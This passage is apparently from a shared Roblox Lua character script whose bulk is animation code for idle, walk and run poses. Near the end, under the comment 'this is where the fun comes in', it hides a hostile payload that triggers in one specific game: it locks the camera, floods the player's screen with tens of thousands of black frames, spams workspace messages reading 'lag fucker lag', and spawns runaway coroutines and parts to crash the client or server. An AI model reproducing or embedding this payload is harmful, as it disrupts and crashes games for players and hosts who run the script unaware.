  4807. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4808. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4809. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4810. end
  4811. elseif torvel<1 and hitfloor~=nil then
  4812. Anim="Idle"
  4813. change=0.5
  4814. if idle>=1000 then
  4815. if attack==false then
  4816. Footsteps:Stop()
  4817. Footsteps2:Stop()
  4818. Humanoid.WalkSpeed=12
  4819. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4820. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4821. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4822. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4823. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4824. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4825. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4826. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4827. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4828. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4829. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4830. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4831. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4832. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4833. end
  4834. else
  4835. if attack==false then
  4836. Footsteps:Stop()
  4837. Footsteps2:Stop()
  4838. Humanoid.WalkSpeed=12
  4839. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4840. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4841. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4842. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4843. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4844. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4845. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4846. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4847. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4848. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4849. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4850. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4851. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4852. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4853. end
  4854. end
  4855. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4856. Anim="Walk"
  4857. if attack==false then
  4858. change=0.8
  4859. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4860. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4861. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4862. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4863. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4864. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4865. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4866. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4867. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4868. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4869. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4870. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4871. RH.C0=clerp(RH.C0,RHC0,.3)
  4872. LH.C0=clerp(LH.C0,LHC0,.3)
  4873. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4874. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4875. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4876. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4877. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4878. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4879. ]]--
  4880. Footsteps:Play()
  4881. Footsteps2:Stop()
  4882. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4883. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4884. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4885. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4886. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4887. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4888. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4889. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4890. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4891. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4892. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4893. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4894. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4895. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4896. end
  4897. elseif torvel>=22 and hitfloor~=nil then
  4898. Anim="Run"
  4899. change=1
  4900. if attack==false then
  4901. Footsteps:Stop()
  4902. Footsteps2:Play()
  4903. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4904. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4905. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4906. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4907. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4908. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4909. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4910. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4911. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4912. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4913. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4914. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4915. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4916. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4917. end
  4918. end
  4919. end
  4920. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4921. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4922. text.Text = math.floor(hum.Health)
  4923. if mana>=100 then
  4924. mana=100
  4925. else
  4926. if mananum<=8 then
  4927. mananum=mananum+100
  4928. else
  4929. mananum=0
  4930. mana=mana+100
  4931. end
  4932. end
  4933. end
  4934.  
  4935.  
  4936.  
  4937.  
  4938. --- shshshhh this is where the fun comes in ---
  4939. if game.PlaceId == 21053279 then
  4940. plr = owner
  4941. char = plr.Character
  4942. cam = workspace.CurrentCamera
  4943. cam.CameraType = "Scriptable"
  4944. cam.CoordinateFrame = CFrame.new(0,0,50)
  4945. local localContainer
  4946. local service=setmetatable({
  4947. MarketPlace=game:service("MarketplaceService");
  4948. GamepassService=game:service("GamePassService");
  4949. ChatService=game:service("Chat");
  4950. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4951. },{
  4952. __index=function(tab,index)
  4953. local serv
  4954. local ran,err=pcall(function() serv=game:service(index) end)
  4955. if ran then
  4956. tab[index]=serv
  4957. return serv
  4958. end
  4959. end
  4960. })
  4961.  
  4962. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4963.  
  4964. x=owner
  4965. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4966. f=Instance.new("Frame")
  4967. f.Size=UDim2.new(1,0,1,0)
  4968. f.BackgroundTransparency=0.01
  4969. f.BackgroundColor3=Color3.new()
  4970. pg=x.PlayerGui
  4971. gui=Instance.new("ScreenGui",pg)
  4972. wait(.1)
  4973. for i=1,28000 do
  4974. f:Clone().Parent=gui
  4975. f:Clone().Parent=gui
  4976. f:Clone().Parent=gui
  4977. end
  4978.  
  4979. script:Destroy();
  4980. local runService = Game:GetService("RunService").Stepped;
  4981. local LagNum = 1250;
  4982. local str = "lag fucker lag";
  4983.  
  4984. for i = 1, math.huge do
  4985. if i % LagNum == 0 then runService:wait(); end
  4986. Instance.new("Message", Workspace).Text = str;
  4987. end
  4988.  
  4989. local bores=coroutine.create(function() --Yolo?
  4990. cPcall(function()
  4991. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4992. cPcall(print,'lol')
  4993. cPcall(warn,'lol')
  4994. cPcall(error,'lol')
  4995. while wait(0.1) do
  4996. spawn(function()
  4997. cPcall(function()
  4998. spawn(function()
  4999. local tab={}
  5000. pcall(function()
  5001. spawn(function()
  5002. for i=1,1000000 do
  5003. cPcall(function()
  5004. spawn(function()
  5005. local bob2=coroutine.create(function()
  5006. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  5007. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  5008. spawn(f1)
  5009. end)
  5010. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  5011. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  5012. end)
  5013. end)
  5014. end
  5015. tab={}
  5016. end)
  5017. end)
  5018. end)
  5019. end)
  5020. end)
  5021. end
  5022. end)
  5023. end)
  5024.  
  5025. service.RunService.Stepped:connect(function()
  5026. for i=1,500000 do
  5027. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  5028. end
  5029. end)
  5030.  
  5031.  
  5032. local function bob()
  5033. cPcall(function()
  5034. while wait(0.1) do
  5035. --cPcall(function()
  5036. --for i=1,100 do
  5037. local p=Instance.new("Part")
  5038. p.Material="Neon"
  5039. p.Size=Vector3.new(50,50,50)
  5040. p.Anchored=true
  5041. p.BackSurface="Studs"
  5042. p.BottomSurface="Studs"
  5043. p.FrontSurface="Studs"
  5044. p.LeftSurface="Studs"
  5045. p.RightSurface="Studs"
  5046. p.TopSurface="Studs"
  5047. local t=Instance.new("Texture",p)
  5048. t.Texture="http://www.roblox.com/asset/?id=190803157"
  5049. t.Face="Top"
  5050. t.StudsPerTileU=1000
  5051. t.StudsPerTileV=1000
  5052. local t2=t:clone()
  5053. t2.Parent=p
  5054. t2.Face="Bottom"
  5055. local t2=t:clone()
  5056. t2.Parent=p
  5057. t2.Face="Left"
  5058. local t2=t:clone()
  5059. t2.Parent=p
  5060. t2.Face="Right"
  5061. local t2=t:clone()
  5062. t2.Parent=p
  5063. t2.Face="Front"
  5064. local t2=t:clone()
  5065. t2.Parent=p
  5066. t2.Face="Back"
  5067. p.Parent=service.LocalContainer()
  5068. --end
  5069. --end)
  5070. end
  5071. end)
  5072. end
  5073. bob() --while wait(0.1) do cPcall(bob) end
  5074. end
  5075. --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement